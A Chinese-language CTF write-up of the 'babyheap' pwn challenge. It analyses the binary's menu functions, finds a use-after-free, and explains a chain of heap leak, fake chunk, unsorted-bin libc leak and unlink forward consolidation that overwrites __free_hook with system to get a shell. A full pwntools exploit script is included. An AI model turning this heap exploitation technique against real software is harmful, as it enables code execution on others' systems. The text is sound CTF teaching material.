0x00 代码分析
1,检查保护
1
2
3
4
5
6
[*] '/home/b0ldfrev/Pwn/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
除了PIE,其他的全开。
2,使用IDA分析程序流程
main 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char *v3; // rdi
int v4; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
sub_400882(a1, a2, a3);
puts("I thought this is really baby.What about u?");
puts("Loading.....");
v3 = (char *)5;
sleep(5u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_4008E3(v3);
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v3 = &s;
v4 = atoi(&s);
if ( v4 != 2 )
break;
sub_400A79(&s, &s);
}
if ( v4 > 2 )
break;
if ( v4 != 1 )
goto LABEL_13;
sub_4009A0(&s, &s);
}
if ( v4 == 3 )
{
sub_400C01(&s, &s);
}
else
{
if ( v4 != 4 )
LABEL_13:
exit(0);
sub_400B54(&s, &s);
}
}
}
读入你输入的选项,然后执行对应的函数,有5个选项:
1
2
3
4
5
1.alloc
2.edit
3.show
4.free
5.exit
alloc 函数分析
malloc次数最多10次,每次大小只能为 0x20(fastbin),所以常规fastbin_attack行不通
edit 函数分析
每次edit会使dword_6020B0值+1.当dword_6020B0值为3时,不能进行edit。作用是限制只能进行三次edit,且edit的大小0x20,观察sub_40092b函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_40092B(__int64 a1, unsigned int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 || i == a2 - 1 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
通过read逐字节读取,无溢出。
show 函数分析
输出堆块内容,可用于信息泄露。
free 函数分析
free功能存在明显的UAF漏洞,悬挂指针未请空。free功能无限制,可以任意次数的free.
0X01 漏洞利用思路
- UAF 漏洞存在,可泄露heap地址
- 构造fake chunk 然后让它 free 之后被放到 unsortedbin中,泄露main_arena基址,free的同时执行unlink,实现任意地址写
- 由于开启了
Full RELRO
,所以只能往__free_hook
写 - free一个存有’/bin/sh\x00’的chunk,拿下shell
1.通过UAF泄露堆的地址
先分配两个chunk分别为 chunk 0 与 chunk 1 ,然后再依次释放chunk 1 与 chunk 0,这时chunk 0 的fd指向chunk 1;
再show(0),就能打印chunk 1的地址;
注意这个顺序不能反,因为puts 存在截断,第一个被分配的chunk往往它的低一位会是0x00 ,按照小端序,会存在 leak 不出来的问题。所以注意 free 的顺序。
2.伪造fake chunk
利用 chunk 0,编辑 chunk 0 内容fd为 原本 fd-0x10的位置,也就是heap_addr + 0x20
;
chunk 0 另外0x16的空间填为 p64(0) + p64(0) + p64(0x31)
;
这样的话,chunk 0 的fd就指向自身的p64(0) + p64(0x31)位置,相当于伪造了一个chunk头,便于fastbin_attack时分配;
我们的目标是要fake一个非fastbin的chunk,然后free泄露libc,我们继续分配两个空间(利用fastbin中chunk 0被修改的fd)Add(6, "aaaa" + '\n')
,
Add(7, p64(0) + p64(0xa1) + '\n')
我们就成功覆盖chunk 1 的 pre_size 和 size 为 0 与 0xa1;
为伪造的0xa1大小的chunk 1分配足够空间,再分配2个空间紧跟chunk 0 1后面Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')
;
同时为了实现任意地址写,得构造空闲chunk来unlink,这里我们利用向前合并,这时再分配个2空间Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
与 Add(5, p64(0x30) + p64(0x30) + '\n')
;
这时chunk 4 的pre_size
与size空间属于0xa1 chunk ,chunk 4 的mem空间为被unlink的fake_chunk_4
,chunk 5的mem 空间 ,也就是fake_chunk_5
的头为0x30 0x30代表 fake_chunk_4
为空
此时的堆分配如下图:
chunk 错了一下位 这是重中之重 unlink向前合并利用的关键
3.补充unlink向前合并操作知识
- unlink详细介绍见我的博文 Unlink原理
首先检测next chunk是否为free。那么如何检测呢?很简单,查询next chunk之后的chunk的 PREV_INUSE (P)即可。相关代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize); #判断nextchunk是否为free chunk
/* consolidate forward */
if (!nextinuse) { #next chunk为free chunk
unlink(nextchunk, bck, fwd); #将nextchunk从链表中移除
size += nextsize; #p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!
} else
clear_inuse_bit_at_offset(nextchunk, 0);
……
}
整个操作与”向后合并“操作类似,再通过上述代码结合注释应该很容易理解free chunk的向前结合操作。在本例中当前chunk为first,它的下一个chunk为second,再下一个chunk为top chunk,此时 top chunk的 PREV_INUSE
位是设置为1的(表示top chunk的前一个chunk,即second chunk, 已经使用),因此first的下一个chunk不会被“向前合并“掉。
4.执行unlink,并泄露基址
然后就是释放0xa1的chunk 也就是chunk 1 ,free后的堆结构如图:
这时show chunk 1 就可以打印main_arena+88
地址;
万事俱备只欠东风,unlink chunk 4 后,在 &ptr + (4+1) * 8 地址里存的是&ptr+(4+1)8 - 38 及 &ptr+16的地址 也就是chunk 1 的mem空间。总结一下,就是chunk 4 的 mem 空间地址 变成了 chunk 1 的 &ptr;
如图:
接下来我们只需要Edit(4,p64(__free_hook) + '\n')
修改 chunk 1 的 mem 空间地址为__free_hook
的got表地址 ; Edit(1, p64(system)+ '\n')
往__free_hook
的got表写入system地址;
5.getshell
bingo 最后就很简单了,分配一个新chunk 内容为 ‘/bin/sh\x00’,并free该chunk 成功getshell
0x02 完整脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./babyheap")
elf=ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
__free_hook = 0x3c4a10
system = 0x46590
def g():
gdb.attach(p)
raw_input()
def Add(index, data):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)
def Edit(index, data):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)
def Show(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
def Delete(index):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')
Delete(1)
Delete(0)
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
Add(6, "aaa" + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')
Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')
Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c27b8
Edit(4,p64(libc_address + __free_hook) + '\n')
Edit(1, p64(libc_address + system)+ '\n')
Add(8,"/bin/sh\x00"+'\n')
Delete(8)
p.interactive()
0x03 总结
这道题chunk错位构造的十分巧妙,edit3次是极限,当时比赛的时候卡在了fastbin_attack
不知道怎么搞….是我太菜….,同时还学到一个新姿势:构造好fake_chunk
的前提下 free操作时可以同时实现泄露libc基址和unlink…..haha